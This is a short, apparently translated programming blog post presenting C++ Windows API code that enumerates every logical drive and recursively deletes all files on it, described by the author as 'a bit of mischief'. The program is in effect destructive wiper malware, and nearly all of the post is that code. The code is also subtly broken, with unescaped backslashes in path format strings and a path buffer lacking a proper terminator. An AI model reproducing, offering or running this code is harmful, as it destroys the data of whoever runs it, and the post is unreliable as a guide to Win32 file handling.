Implement the method of traversing all files and deleting them based on Windows API

This article illustrates the method of traversing all files and deleting them based on the Windows API. Share with you for your reference. Specific analysis is as follows:

Recently has been learning Windows API, made some fun things (a bit of mischief, please use with caution)...
The following is a small program that I write to delete all the files on the hard disk.

#include <windows.h>
#include <stdio.h>
#include <bitset>
using namespace std;
void DelFile(char *cFilePath)
{
 WIN32_FIND_DATA data;
 HANDLE hFind;
 char cFullPath[100];
 char cNewPath[100];
 sprintf_s(cFullPath,"%s\*.*",cFilePath);
 hFind=FindFirstFile(cFullPath,&data);
 do
 {
 if((!strcmp(".",data.cFileName)) || (!strcmp("..",data.cFileName)))
 {
  continue;
 }
 if(data.dwFileAttributes==FILE_ATTRIBUTE_DIRECTORY)
 {
  sprintf_s(cNewPath,"%s\%s",cFilePath,data.cFileName);
  DelFile(cNewPath);//recursive
 }
// MessageBox(NULL,data.cFileName,"Look",0);
 sprintf_s(cFullPath,"%s\%s",cFilePath,data.cFileName);
 DeleteFile(cFullPath);
 }while(FindNextFile(hFind,&data));
}
int WINAPI WinMain(
 HINSTANCE hInstance,   // handle to current instance
 HINSTANCE hPrevInstance, // handle to previous instance
 LPSTR lpCmdLine,     // command line
 int nCmdShow       // show state
)
{
 DWORD dwDrive=GetLogicalDrives();
 bitset<32> bit(dwDrive);
 char Path[3]={'a',':','0'};
 for(int ix=0;ix!=32;ix++)
 {
 if(bit.test(ix))
 {
  Path[0]='A'+ix;
  DelFile(Path);
 }
 }
 return 0;
}

Hope that this article described the win32 programming to help you.
